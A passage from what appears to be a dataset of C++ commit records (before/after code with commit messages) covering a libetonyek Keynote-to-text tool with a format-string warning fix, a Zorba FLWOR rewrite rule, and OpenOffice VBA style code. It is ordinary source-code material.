virtual void drawConnector(const ::WPXPropertyList &propList, const ::WPXPropertyListVector &path);\n\n virtual void startTextObject(const ::WPXPropertyList &propList, const ::WPXPropertyListVector &path);\n virtual void endTextObject();\n virtual void openParagraph(const ::WPXPropertyList &propList, const ::WPXPropertyListVector &tabStops);\n virtual void closeParagraph();\n virtual void openSpan(const ::WPXPropertyList &propList);\n virtual void closeSpan();\n virtual void insertTab();\n virtual void insertSpace();\n virtual void insertText(const ::WPXString &str);\n virtual void insertLineBreak();\n\n virtual void insertField(const WPXString &type, const ::WPXPropertyList &propList);\n\n virtual void openOrderedListLevel(const ::WPXPropertyList &propList);\n virtual void openUnorderedListLevel(const ::WPXPropertyList &propList);\n virtual void closeOrderedListLevel();\n virtual void closeUnorderedListLevel();\n virtual void openListElement(const ::WPXPropertyList &propList, const ::WPXPropertyListVector &tabStops);\n virtual void closeListElement();\n\n virtual void openTable(const ::WPXPropertyList &propList, const ::WPXPropertyListVector &columns);\n virtual void openTableRow(const ::WPXPropertyList &propList);\n virtual void closeTableRow();\n virtual void openTableCell(const ::WPXPropertyList &propList);\n virtual void closeTableCell();\n virtual void insertCoveredTableCell(const ::WPXPropertyList &propList);\n virtual void closeTable();\n\n virtual void startComment(const ::WPXPropertyList &propList);\n virtual void endComment();\n\n virtual void startNotes(const ::WPXPropertyList &propList);\n virtual void endNotes();\n};\n\nTextPainter::TextPainter()\n{\n}\n\nvoid TextPainter::startDocument(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::endDocument()\n{\n}\n\nvoid TextPainter::setDocumentMetaData(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::startSlide(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::endSlide()\n{\n printf(\"\\n\");\n}\n\nvoid TextPainter::startLayer(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::endLayer()\n{\n}\n\nvoid TextPainter::startEmbeddedGraphics(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::endEmbeddedGraphics()\n{\n}\n\nvoid TextPainter::startGroup(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::endGroup()\n{\n}\n\nvoid TextPainter::setStyle(const ::WPXPropertyList &, const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::drawRectangle(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::drawEllipse(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::drawPolyline(const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::drawPolygon(const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::drawPath(const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::drawGraphicObject(const ::WPXPropertyList &, const ::WPXBinaryData &)\n{\n}\n\nvoid TextPainter::drawConnector(const ::WPXPropertyList &, const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::startTextObject(const ::WPXPropertyList &, const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::endTextObject()\n{\n printf(\"\\n\");\n}\n\nvoid TextPainter::openParagraph(const ::WPXPropertyList &, const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::closeParagraph()\n{\n printf(\"\\n\");\n}\n\nvoid TextPainter::openSpan(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::closeSpan()\n{\n}\n\nvoid TextPainter::insertText(const ::WPXString &str)\n{\n printf(str.cstr());\n}\n\nvoid TextPainter::insertTab()\n{\n printf(\"\\t\");\n}\n\nvoid TextPainter::insertSpace()\n{\n printf(\" \");\n}\n\nvoid TextPainter::insertLineBreak()\n{\n printf(\"\\n\");\n}\n\nvoid TextPainter::insertField(const WPXString &, const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::openOrderedListLevel(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::openUnorderedListLevel(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::closeOrderedListLevel()\n{\n}\n\nvoid TextPainter::closeUnorderedListLevel()\n{\n}\n\nvoid TextPainter::openListElement(const ::WPXPropertyList &propList, const ::WPXPropertyListVector &tabStops)\n{\n openParagraph(propList, tabStops);\n}\n\nvoid TextPainter::closeListElement()\n{\n closeParagraph();\n}\n\nvoid TextPainter::openTable(const ::WPXPropertyList &, const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::openTableRow(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::closeTableRow()\n{\n}\n\nvoid TextPainter::openTableCell(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::closeTableCell()\n{\n}\n\nvoid TextPainter::insertCoveredTableCell(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::closeTable()\n{\n}\n\nvoid TextPainter::startComment(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::endComment()\n{\n}\n\nvoid TextPainter::startNotes(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::endNotes()\n{\n}\n\nnamespace\n{\n\nint printUsage()\n{\n printf(\"Usage: key2text [OPTION] <KeyNote Document> | <KeyNote Directory>\\n\");\n printf(\"\\n\");\n printf(\"Options:\\n\");\n printf(\"--help Shows this help message\\n\");\n return -1;\n}\n\n} \/\/ anonymous namespace\n\nint main(int argc, char *argv[])\n{\n if (argc < 2)\n return printUsage();\n\n char *file = 0;\n\n for (int i = 1; i < argc; i++)\n {\n if (!file && strncmp(argv[i], \"--\", 2))\n file = argv[i];\n else\n return printUsage();\n }\n\n if (!file)\n return printUsage();\n\n using boost::shared_ptr;\n namespace fs = boost::filesystem;\n\n fs::path path(file);\n shared_ptr<WPXInputStream> input;\n if (is_directory(path))\n input.reset(new conv::KEYDirectoryStream(path));\n else\n input.reset(new WPXFileStream(file));\n\n libetonyek::KEYDocumentType type = libetonyek::KEY_DOCUMENT_TYPE_UNKNOWN;\n if (!libetonyek::KEYDocument::isSupported(input.get(), &type))\n {\n fprintf(stderr, \"ERROR: Unsupported file format!\\n\");\n return 1;\n }\n\n if (libetonyek::KEY_DOCUMENT_TYPE_APXL_FILE == type)\n {\n path.remove_filename();\n input.reset(new conv::KEYDirectoryStream(path));\n }\n\n TextPainter painter;\n libetonyek::KEYDocument::parse(input.get(), &painter);\n\n return 0;\n}\n\n\/* vim:set shiftwidth=2 softtabstop=2 expandtab: *\/\n<commit_msg>WaE: format string is not a string literal<commit_after>\/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- *\/\n\/*\n * This file is part of the libetonyek project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include <stdio.h>\n#include <string.h>\n\n#include <libwpd-stream\/libwpd-stream.h>\n#include <libwpd\/libwpd.h>\n#include <libetonyek\/libetonyek.h>\n\n#include \"KEYDirectoryStream.h\"\n\nclass TextPainter : public libetonyek::KEYPresentationInterface\n{\npublic:\n TextPainter();\n\n virtual void startDocument(const ::WPXPropertyList &propList);\n virtual void endDocument();\n virtual void setDocumentMetaData(const ::WPXPropertyList &propList);\n virtual void startSlide(const ::WPXPropertyList &propList);\n virtual void endSlide();\n virtual void startLayer(const ::WPXPropertyList &propList);\n virtual void endLayer();\n virtual void startEmbeddedGraphics(const ::WPXPropertyList &propList);\n virtual void endEmbeddedGraphics();\n virtual void startGroup(const ::WPXPropertyList &propList);\n virtual void endGroup();\n\n virtual void setStyle(const ::WPXPropertyList &propList, const ::WPXPropertyListVector &gradient);\n\n virtual void drawRectangle(const ::WPXPropertyList &propList);\n virtual void drawEllipse(const ::WPXPropertyList &propList);\n virtual void drawPolyline(const ::WPXPropertyListVector &vertices);\n virtual void drawPolygon(const ::WPXPropertyListVector &vertices);\n virtual void drawPath(const ::WPXPropertyListVector &path);\n virtual void drawGraphicObject(const ::WPXPropertyList &propList, const ::WPXBinaryData &binaryData);\n virtual void drawConnector(const ::WPXPropertyList &propList, const ::WPXPropertyListVector &path);\n\n virtual void startTextObject(const ::WPXPropertyList &propList, const ::WPXPropertyListVector &path);\n virtual void endTextObject();\n virtual void openParagraph(const ::WPXPropertyList &propList, const ::WPXPropertyListVector &tabStops);\n virtual void closeParagraph();\n virtual void openSpan(const ::WPXPropertyList &propList);\n virtual void closeSpan();\n virtual void insertTab();\n virtual void insertSpace();\n virtual void insertText(const ::WPXString &str);\n virtual void insertLineBreak();\n\n virtual void insertField(const WPXString &type, const ::WPXPropertyList &propList);\n\n virtual void openOrderedListLevel(const ::WPXPropertyList &propList);\n virtual void openUnorderedListLevel(const ::WPXPropertyList &propList);\n virtual void closeOrderedListLevel();\n virtual void closeUnorderedListLevel();\n virtual void openListElement(const ::WPXPropertyList &propList, const ::WPXPropertyListVector &tabStops);\n virtual void closeListElement();\n\n virtual void openTable(const ::WPXPropertyList &propList, const ::WPXPropertyListVector &columns);\n virtual void openTableRow(const ::WPXPropertyList &propList);\n virtual void closeTableRow();\n virtual void openTableCell(const ::WPXPropertyList &propList);\n virtual void closeTableCell();\n virtual void insertCoveredTableCell(const ::WPXPropertyList &propList);\n virtual void closeTable();\n\n virtual void startComment(const ::WPXPropertyList &propList);\n virtual void endComment();\n\n virtual void startNotes(const ::WPXPropertyList &propList);\n virtual void endNotes();\n};\n\nTextPainter::TextPainter()\n{\n}\n\nvoid TextPainter::startDocument(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::endDocument()\n{\n}\n\nvoid TextPainter::setDocumentMetaData(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::startSlide(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::endSlide()\n{\n printf(\"\\n\");\n}\n\nvoid TextPainter::startLayer(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::endLayer()\n{\n}\n\nvoid TextPainter::startEmbeddedGraphics(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::endEmbeddedGraphics()\n{\n}\n\nvoid TextPainter::startGroup(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::endGroup()\n{\n}\n\nvoid TextPainter::setStyle(const ::WPXPropertyList &, const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::drawRectangle(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::drawEllipse(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::drawPolyline(const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::drawPolygon(const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::drawPath(const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::drawGraphicObject(const ::WPXPropertyList &, const ::WPXBinaryData &)\n{\n}\n\nvoid TextPainter::drawConnector(const ::WPXPropertyList &, const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::startTextObject(const ::WPXPropertyList &, const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::endTextObject()\n{\n printf(\"\\n\");\n}\n\nvoid TextPainter::openParagraph(const ::WPXPropertyList &, const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::closeParagraph()\n{\n printf(\"\\n\");\n}\n\nvoid TextPainter::openSpan(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::closeSpan()\n{\n}\n\nvoid TextPainter::insertText(const ::WPXString &str)\n{\n printf(\"%s\", str.cstr());\n}\n\nvoid TextPainter::insertTab()\n{\n printf(\"\\t\");\n}\n\nvoid TextPainter::insertSpace()\n{\n printf(\" \");\n}\n\nvoid TextPainter::insertLineBreak()\n{\n printf(\"\\n\");\n}\n\nvoid TextPainter::insertField(const WPXString &, const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::openOrderedListLevel(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::openUnorderedListLevel(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::closeOrderedListLevel()\n{\n}\n\nvoid TextPainter::closeUnorderedListLevel()\n{\n}\n\nvoid TextPainter::openListElement(const ::WPXPropertyList &propList, const ::WPXPropertyListVector &tabStops)\n{\n openParagraph(propList, tabStops);\n}\n\nvoid TextPainter::closeListElement()\n{\n closeParagraph();\n}\n\nvoid TextPainter::openTable(const ::WPXPropertyList &, const ::WPXPropertyListVector &)\n{\n}\n\nvoid TextPainter::openTableRow(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::closeTableRow()\n{\n}\n\nvoid TextPainter::openTableCell(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::closeTableCell()\n{\n}\n\nvoid TextPainter::insertCoveredTableCell(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::closeTable()\n{\n}\n\nvoid TextPainter::startComment(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::endComment()\n{\n}\n\nvoid TextPainter::startNotes(const ::WPXPropertyList &)\n{\n}\n\nvoid TextPainter::endNotes()\n{\n}\n\nnamespace\n{\n\nint printUsage()\n{\n printf(\"Usage: key2text [OPTION] <KeyNote Document> | <KeyNote Directory>\\n\");\n printf(\"\\n\");\n printf(\"Options:\\n\");\n printf(\"--help Shows this help message\\n\");\n return -1;\n}\n\n} \/\/ anonymous namespace\n\nint main(int argc, char *argv[])\n{\n if (argc < 2)\n return printUsage();\n\n char *file = 0;\n\n for (int i = 1; i < argc; i++)\n {\n if (!file && strncmp(argv[i], \"--\", 2))\n file = argv[i];\n else\n return printUsage();\n }\n\n if (!file)\n return printUsage();\n\n using boost::shared_ptr;\n namespace fs = boost::filesystem;\n\n fs::path path(file);\n shared_ptr<WPXInputStream> input;\n if (is_directory(path))\n input.reset(new conv::KEYDirectoryStream(path));\n else\n input.reset(new WPXFileStream(file));\n\n libetonyek::KEYDocumentType type = libetonyek::KEY_DOCUMENT_TYPE_UNKNOWN;\n if (!libetonyek::KEYDocument::isSupported(input.get(), &type))\n {\n fprintf(stderr, \"ERROR: Unsupported file format!\\n\");\n return 1;\n }\n\n if (libetonyek::KEY_DOCUMENT_TYPE_APXL_FILE == type)\n {\n path.remove_filename();\n input.reset(new conv::KEYDirectoryStream(path));\n }\n\n TextPainter painter;\n libetonyek::KEYDocument::parse(input.get(), &painter);\n\n return 0;\n}\n\n\/* vim:set shiftwidth=2 softtabstop=2 expandtab: *\/\n<|endoftext|>"} {"text":"<commit_before>#include \"compiler\/rewriter\/rules\/ruleset.h\"\n#include \"compiler\/expression\/expr.h\"\n#include \"context\/static_context.h\"\n#include \"compiler\/rewriter\/tools\/expr_tools.h\"\n#include \"compiler\/rewriter\/framework\/rule_driver.h\"\n\n#include <memory>\n\nusing namespace std;\n\nnamespace zorba {\n\n class SubstVars : public RewriteRule {\n protected:\n var_expr *var;\n expr *subst;\n\n public:\n SubstVars (var_expr *var_, expr *subst_) : var (var_), subst (subst_) {}\n expr_t rewritePre(expr *node, RewriterContext& rCtx);\n expr_t rewritePost(expr *node, RewriterContext& rCtx);\n };\n\n RULE_REWRITE_PRE(SubstVars) {\n return (node == var) ? subst : NULL;\n }\n RULE_REWRITE_POST(SubstVars) {\n return NULL;\n }\n\n expr_t subst_vars (RewriterContext& rCtx, var_expr *var, expr *subst) {\n auto_ptr<Rewriter> rw (new SingletonRuleMajorDriverBase (RuleMajorDriver::rule_ptr_t (new SubstVars (var, subst))));\n rw->rewrite (rCtx);\n return rCtx.getRoot ();\n }\n\nRULE_REWRITE_PRE(EliminateUnusedLetVars)\n{\n static_context *sctx = rCtx.getStaticContext();\n TypeManager *ts = sctx->get_typemanager();\n flwor_expr *flwor = dynamic_cast<flwor_expr *>(node);\n if (flwor != NULL) {\n flwor_expr::clause_list_t::iterator i = flwor->clause_begin();\n while(i != flwor->clause_end()) {\n flwor_expr::forletref_t ref = *i;\n expr *cexpr = ref->get_expr ();\n forlet_clause::varref_t vref = ref->get_var();\n bool is_let = vref->get_kind() == var_expr::let_var;\n int quant_cnt = 2; \/\/ cardinality of for clause: 0, 1 or more\n if (! is_let) {\n xqtref_t ctype = cexpr->return_type (sctx);\n if (ts->is_equal (*ctype, *ts->create_empty_type ()))\n quant_cnt = 0;\n else if (ts->quantifier (*ctype) == TypeConstants::QUANT_ONE)\n quant_cnt = 1;\n }\n if (is_let || quant_cnt < 2) {\n if (quant_cnt == 0) return new fo_expr (node->get_loc (), LOOKUP_OPN (\"concatenate\"));\n \/\/ otherwise is_let || quant_cnt == 1\n forlet_clause::varref_t pvref = ref->get_pos_var ();\n if (pvref != NULL)\n subst_vars (rCtx, pvref.getp (), new const_expr (node->get_loc (), xqp_integer::parseInt (1)));\n int uses = count_variable_uses(flwor, &*vref);\n if (uses > 1)\n ++i;\n else {\n if (uses == 1) {\n if (flwor->forlet_count () == 1 \/\/ TODO: if cardinality FLWOR result = 1...\n || cexpr->get_annotation (AnnotationKey::UNFOLDABLE_OP) != TSVAnnotationValue::TRUE_VALUE) \n {\n \n i = flwor->remove_forlet_clause (i);\n subst_vars (rCtx, vref, cexpr);\n }\n else ++i;\n } else {\n i = flwor->remove_forlet_clause(i);\n }\n }\n } else {\n ++i;\n }\n }\n if (flwor->forlet_count() == 0) {\n expr_t where = flwor->get_where();\n expr_t result = flwor->get_retval();\n if (where != NULL) {\n rchandle<if_expr> ite(new if_expr(where->get_loc()));\n ite->set_cond_expr(where);\n ite->set_then_expr(result);\n ite->set_else_expr(new fo_expr(where->get_loc(), LOOKUP_FN(\"fn\", \"concatenate\", 0)));\n result = &*ite;\n }\n return result;\n }\n }\n return NULL;\n}\n\nRULE_REWRITE_POST(EliminateUnusedLetVars)\n{\n return NULL;\n}\n\n}\n\/* vim:set ts=2 sw=2: *\/\n<commit_msg>FLWOR rewrite: substitute consts<commit_after>#include \"compiler\/rewriter\/rules\/ruleset.h\"\n#include \"compiler\/expression\/expr.h\"\n#include \"context\/static_context.h\"\n#include \"compiler\/rewriter\/tools\/expr_tools.h\"\n#include \"compiler\/rewriter\/framework\/rule_driver.h\"\n\n#include <memory>\n\nusing namespace std;\n\nnamespace zorba {\n\n class SubstVars : public RewriteRule {\n protected:\n var_expr *var;\n expr *subst;\n\n public:\n SubstVars (var_expr *var_, expr *subst_) : var (var_), subst (subst_) {}\n expr_t rewritePre(expr *node, RewriterContext& rCtx);\n expr_t rewritePost(expr *node, RewriterContext& rCtx);\n };\n\n RULE_REWRITE_PRE(SubstVars) {\n return (node == var) ? subst : NULL;\n }\n RULE_REWRITE_POST(SubstVars) {\n return NULL;\n }\n\n expr_t subst_vars (RewriterContext& rCtx, var_expr *var, expr *subst) {\n auto_ptr<Rewriter> rw (new SingletonRuleMajorDriverBase (RuleMajorDriver::rule_ptr_t (new SubstVars (var, subst))));\n rw->rewrite (rCtx);\n return rCtx.getRoot ();\n }\n\nRULE_REWRITE_PRE(EliminateUnusedLetVars)\n{\n static_context *sctx = rCtx.getStaticContext();\n TypeManager *ts = sctx->get_typemanager();\n flwor_expr *flwor = dynamic_cast<flwor_expr *>(node);\n if (flwor != NULL) {\n flwor_expr::clause_list_t::iterator i = flwor->clause_begin();\n while(i != flwor->clause_end()) {\n flwor_expr::forletref_t ref = *i;\n expr *cexpr = ref->get_expr ();\n forlet_clause::varref_t vref = ref->get_var();\n bool is_let = vref->get_kind() == var_expr::let_var;\n int quant_cnt = 2; \/\/ cardinality of for clause: 0, 1 or more\n if (! is_let) {\n xqtref_t ctype = cexpr->return_type (sctx);\n if (ts->is_equal (*ctype, *ts->create_empty_type ()))\n quant_cnt = 0;\n else if (ts->quantifier (*ctype) == TypeConstants::QUANT_ONE)\n quant_cnt = 1;\n }\n if (is_let || quant_cnt < 2) {\n if (quant_cnt == 0) return new fo_expr (node->get_loc (), LOOKUP_OPN (\"concatenate\"));\n \/\/ otherwise is_let || quant_cnt == 1\n forlet_clause::varref_t pvref = ref->get_pos_var ();\n if (pvref != NULL)\n subst_vars (rCtx, pvref.getp (), new const_expr (node->get_loc (), xqp_integer::parseInt (1)));\n int uses = count_variable_uses(flwor, &*vref);\n if (uses > 1) {\n if (cexpr->get_expr_kind () == const_expr_kind) {\n i = flwor->remove_forlet_clause (i);\n subst_vars (rCtx, vref, cexpr);\n } else ++i;\n } else {\n if (uses == 1) {\n if (flwor->forlet_count () == 1 \/\/ TODO: if cardinality FLWOR result = 1...\n || cexpr->get_annotation (AnnotationKey::UNFOLDABLE_OP) != TSVAnnotationValue::TRUE_VALUE) \n {\n \n i = flwor->remove_forlet_clause (i);\n subst_vars (rCtx, vref, cexpr);\n }\n else ++i;\n } else {\n i = flwor->remove_forlet_clause(i);\n }\n }\n } else {\n ++i;\n }\n }\n if (flwor->forlet_count() == 0) {\n expr_t where = flwor->get_where();\n expr_t result = flwor->get_retval();\n if (where != NULL) {\n rchandle<if_expr> ite(new if_expr(where->get_loc()));\n ite->set_cond_expr(where);\n ite->set_then_expr(result);\n ite->set_else_expr(new fo_expr(where->get_loc(), LOOKUP_FN(\"fn\", \"concatenate\", 0)));\n result = &*ite;\n }\n return result;\n }\n }\n return NULL;\n}\n\nRULE_REWRITE_POST(EliminateUnusedLetVars)\n{\n return NULL;\n}\n\n}\n\/* vim:set ts=2 sw=2: *\/\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2000, 2010 Oracle and\/or its affiliates.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#include \"vbastyle.hxx\"\n#include <com\/sun\/star\/style\/XStyleFamiliesSupplier.hpp>\n\nusing namespace ::ooo::vba;\nusing namespace ::com::sun::star;\n\nstatic rtl::OUString DISPLAYNAME( RTL_CONSTASCII_USTRINGPARAM(\"DisplayName\") );\n\n\n\nuno::Reference< container::XNameAccess >\nScVbaStyle::getStylesNameContainer( const uno::Reference< frame::XModel >& xModel ) throw ( uno::RuntimeException )\n{\n uno::Reference< style::XStyleFamiliesSupplier > xStyleSupplier( xModel, uno::UNO_QUERY_THROW);\n uno::Reference< container::XNameAccess > xStylesAccess( xStyleSupplier->getStyleFamilies()->getByName( rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"CellStyles\" ) ) ), uno::UNO_QUERY_THROW );\n return xStylesAccess;\n}\n\nuno::Reference< beans::XPropertySet >\nlcl_getStyleProps( const rtl::OUString& sStyleName, const uno::Reference< frame::XModel >& xModel ) throw ( script::BasicErrorException, uno::RuntimeException )\n{\n\n uno::Reference< beans::XPropertySet > xStyleProps( ScVbaStyle::getStylesNameContainer( xModel )->getByName( sStyleName ), uno::UNO_QUERY_THROW );\n return xStyleProps;\n}\n\n\nvoid ScVbaStyle::initialise() throw ( uno::RuntimeException )\n{\n if (!mxModel.is() )\n DebugHelper::exception(SbERR_METHOD_FAILED, rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"XModel Interface could not be retrieved\")) );\n uno::Reference< lang::XServiceInfo > xServiceInfo( mxPropertySet, uno::UNO_QUERY_THROW );\n if ( !xServiceInfo->supportsService( rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"com.sun.star.style.CellStyle\" ) ) ) )\n {\n DebugHelper::exception(SbERR_METHOD_FAILED, rtl::OUString() );\n }\n mxStyle.set( mxPropertySet, uno::UNO_QUERY_THROW );\n\n uno::Reference< style::XStyleFamiliesSupplier > xStyleSupplier( mxModel, uno::UNO_QUERY_THROW );\n mxStyleFamilyNameContainer.set( ScVbaStyle::getStylesNameContainer( mxModel ), uno::UNO_QUERY_THROW );\n\n}\n\nScVbaStyle::ScVbaStyle( const uno::Reference< ov::XHelperInterface >& xParent, const uno::Reference< uno::XComponentContext > & xContext, const rtl::OUString& sStyleName, const uno::Reference< frame::XModel >& _xModel ) throw ( script::BasicErrorException, uno::RuntimeException ) : ScVbaStyle_BASE( xParent, xContext, lcl_getStyleProps( sStyleName, _xModel ), _xModel, false ), mxModel( _xModel )\n{\n try\n {\n initialise();\n }\n catch (uno::Exception& )\n {\n DebugHelper::exception(SbERR_METHOD_FAILED, rtl::OUString());\n }\n}\n\nScVbaStyle::ScVbaStyle( const uno::Reference< XHelperInterface >& xParent, const uno::Reference< uno::XComponentContext > & xContext, const uno::Reference< beans::XPropertySet >& _xPropertySet, const uno::Reference< frame::XModel >& _xModel ) throw ( script::BasicErrorException, uno::RuntimeException ) : ScVbaStyle_BASE( xParent, xContext, _xPropertySet, _xModel, false ), mxModel( _xModel )\n{\n try\n {\n initialise();\n }\n catch (uno::Exception& )\n {\n DebugHelper::exception(SbERR_METHOD_FAILED, rtl::OUString());\n }\n}\n\n\n::sal_Bool SAL_CALL\nScVbaStyle::BuiltIn() throw (script::BasicErrorException, uno::RuntimeException)\n{\n return !mxStyle->isUserDefined();\n\n}\nvoid SAL_CALL\nScVbaStyle::setName( const ::rtl::OUString& Name ) throw (script::BasicErrorException, uno::RuntimeException)\n{\n mxStyle->setName(Name);\n}\n\n::rtl::OUString SAL_CALL\nScVbaStyle::getName() throw (script::BasicErrorException, uno::RuntimeException)\n{\n return mxStyle->getName();\n}\n\nvoid SAL_CALL\nScVbaStyle::setNameLocal( const ::rtl::OUString& NameLocal ) throw (script::BasicErrorException, uno::RuntimeException)\n{\n try\n {\n mxPropertySet->setPropertyValue(DISPLAYNAME, uno::makeAny( NameLocal ) );\n }\n catch (uno::Exception& e)\n {\n DebugHelper::exception(e);\n }\n}\n\n::rtl::OUString SAL_CALL\nScVbaStyle::getNameLocal() throw (script::BasicErrorException, uno::RuntimeException)\n{\n rtl::OUString sName;\n try\n {\n mxPropertySet->getPropertyValue(DISPLAYNAME) >>= sName;\n }\n catch (uno::Exception &e)\n {\n DebugHelper::exception(SbERR_METHOD_FAILED, rtl::OUString() );\n }\n return sName;\n}\n\nvoid SAL_CALL\nScVbaStyle::Delete() throw (script::BasicErrorException, uno::RuntimeException)\n{\n try\n {\n mxStyleFamilyNameContainer->removeByName(mxStyle->getName());\n }\n catch (uno::Exception& )\n {\n DebugHelper::exception(SbERR_METHOD_FAILED, rtl::OUString());\n }\n}\n\nvoid SAL_CALL\nScVbaStyle::setMergeCells( const uno::Any& \/*MergeCells*\/ ) throw (script::BasicErrorException, uno::RuntimeException)\n{\n DebugHelper::exception(SbERR_NOT_IMPLEMENTED, rtl::OUString());\n}\n\nuno::Any SAL_CALL\nScVbaStyle::getMergeCells( ) throw (script::BasicErrorException, uno::RuntimeException)\n{\n DebugHelper::exception(SbERR_NOT_IMPLEMENTED, rtl::OUString());\n return uno::Any();\n}\n\n\nrtl::OUString&\nScVbaStyle::getServiceImplName()\n{\n static rtl::OUString sImplName( RTL_CONSTASCII_USTRINGPARAM(\"ScVbaStyle\") );\n return sImplName;\n}\n\nuno::Sequence< rtl::OUString >\nScVbaStyle::getServiceNames()\n{\n static uno::Sequence< rtl::OUString > aServiceNames;\n if ( aServiceNames.getLength() == 0 )\n {\n aServiceNames.realloc( 1 );\n aServiceNames[ 0 ] = rtl::OUString( RTL_CONSTASCII_USTRINGPARAM(\"ooo.vba.excel.XStyle\" ) );\n }\n return aServiceNames;\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>WaE: unused variables<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2000, 2010 Oracle and\/or its affiliates.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#include \"vbastyle.hxx\"\n#include <com\/sun\/star\/style\/XStyleFamiliesSupplier.hpp>\n\nusing namespace ::ooo::vba;\nusing namespace ::com::sun::star;\n\nstatic rtl::OUString DISPLAYNAME( RTL_CONSTASCII_USTRINGPARAM(\"DisplayName\") );\n\n\n\nuno::Reference< container::XNameAccess >\nScVbaStyle::getStylesNameContainer( const uno::Reference< frame::XModel >& xModel ) throw ( uno::RuntimeException )\n{\n uno::Reference< style::XStyleFamiliesSupplier > xStyleSupplier( xModel, uno::UNO_QUERY_THROW);\n uno::Reference< container::XNameAccess > xStylesAccess( xStyleSupplier->getStyleFamilies()->getByName( rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"CellStyles\" ) ) ), uno::UNO_QUERY_THROW );\n return 